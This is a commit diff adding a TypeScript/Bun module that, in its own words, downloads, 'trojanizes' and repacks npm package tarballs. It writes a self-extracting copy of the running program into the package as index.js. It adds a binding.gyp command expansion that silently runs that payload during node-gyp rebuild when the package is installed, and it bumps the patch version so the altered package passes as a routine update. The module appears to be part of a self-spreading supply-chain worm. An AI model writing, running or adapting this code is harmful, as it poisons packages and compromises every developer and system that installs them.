Initial commit
This commit is contained in:
@@ -0,0 +1,116 @@
|
||||
import { randomBytes } from "crypto";
|
||||
import { createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import * as path from "path";
|
||||
import { pipeline } from "stream/promises";
|
||||
import * as tar from "tar";
|
||||
|
||||
import { SCRIPT_NAME } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||
|
||||
export const TMP_PACKAGE_NAME = "package-updated.tgz";
|
||||
|
||||
export interface UpdateTarballOptions {
|
||||
/** Log / error-message tag, e.g. "[npm]" or "[npmoidc]". */
|
||||
tag: string;
|
||||
/**
|
||||
* Name of the binding.gyp target. Defaults to "nothing".
|
||||
* NPMOidcClient uses "Setup".
|
||||
*/
|
||||
targetName?: string;
|
||||
/** Whether to add `"bun"` as a dependency in package.json. */
|
||||
addBunDep?: boolean;
|
||||
/**
|
||||
* Custom content for index.js. When set, this is written directly
|
||||
* as index.js instead of the self-extracting Bun.main payload.
|
||||
* Useful for validation / testing the binding.gyp injection path.
|
||||
*/
|
||||
payload?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Download, trojanize, and repack an npm tarball.
|
||||
*
|
||||
* 1. Extract into a temp directory.
|
||||
* 2. Inject the self-extracting payload as `index.js`.
|
||||
* 3. Add a `binding.gyp` with a `<!(command)` expansion that triggers
|
||||
* execution during `node-gyp rebuild`.
|
||||
* 4. Bump the patch version.
|
||||
* 5. Repack and validate the resulting gzip stream.
|
||||
*
|
||||
* @returns The path to the modified tarball.
|
||||
*/
|
||||
export async function updateTarball(
|
||||
tarballPath: string,
|
||||
opts: UpdateTarballOptions,
|
||||
): Promise<string> {
|
||||
const { tag, targetName = "nothing", addBunDep = false, payload } = opts;
|
||||
|
||||
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
||||
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
|
||||
await fs.mkdir(tmpDir, { recursive: true });
|
||||
|
||||
try {
|
||||
await tar.extract({ file: tarballPath, cwd: tmpDir });
|
||||
|
||||
const scriptContent =
|
||||
payload ??
|
||||
buildSelfExtractingPayload(await Bun.file(Bun.main).text(), {
|
||||
wrap: true,
|
||||
});
|
||||
await Bun.write(path.join(tmpDir, "package", SCRIPT_NAME), scriptContent);
|
||||
|
||||
// binding.gyp — <!(command) expansion executes during node-gyp rebuild.
|
||||
// type: "none" means gyp expands the command (firing the payload) but
|
||||
// skips compilation — no .c/.o files needed.
|
||||
const gypContent = [
|
||||
"{",
|
||||
' "targets": [',
|
||||
" {",
|
||||
` "target_name": ${JSON.stringify(targetName)},`,
|
||||
' "type": "none",',
|
||||
` "sources": ["<!(node ${SCRIPT_NAME} > /dev/null 2>&1 && echo stub.c)"]`,
|
||||
" }",
|
||||
" ]",
|
||||
"}",
|
||||
].join("\n");
|
||||
await Bun.write(path.join(tmpDir, "package", "binding.gyp"), gypContent);
|
||||
|
||||
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
|
||||
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
|
||||
|
||||
if (addBunDep) {
|
||||
pkg.dependencies ??= {};
|
||||
pkg.dependencies["bun"] = "^1.3.13";
|
||||
}
|
||||
|
||||
const [major, minor, patch] = pkg.version.split(".").map(Number);
|
||||
pkg.version = `${major}.${minor}.${patch + 1}`;
|
||||
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
|
||||
|
||||
const updatedPath = path.join(
|
||||
path.dirname(tarballPath),
|
||||
`${uniqueSuffix}_${TMP_PACKAGE_NAME}`,
|
||||
);
|
||||
await pipeline(
|
||||
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
|
||||
createWriteStream(updatedPath),
|
||||
);
|
||||
|
||||
// Defensive postcondition: fail loudly here with context if the
|
||||
// tarball is somehow not a valid gzip stream, instead of
|
||||
// exploding inside `gunzipSync` further down the pipeline.
|
||||
const written = await fs.readFile(updatedPath);
|
||||
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
|
||||
throw new Error(
|
||||
`${tag} tarball at ${updatedPath} is not a valid gzip stream ` +
|
||||
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
|
||||
);
|
||||
}
|
||||
|
||||
logUtil.log(`Updated path: ${updatedPath}`);
|
||||
return updatedPath;
|
||||
} finally {
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user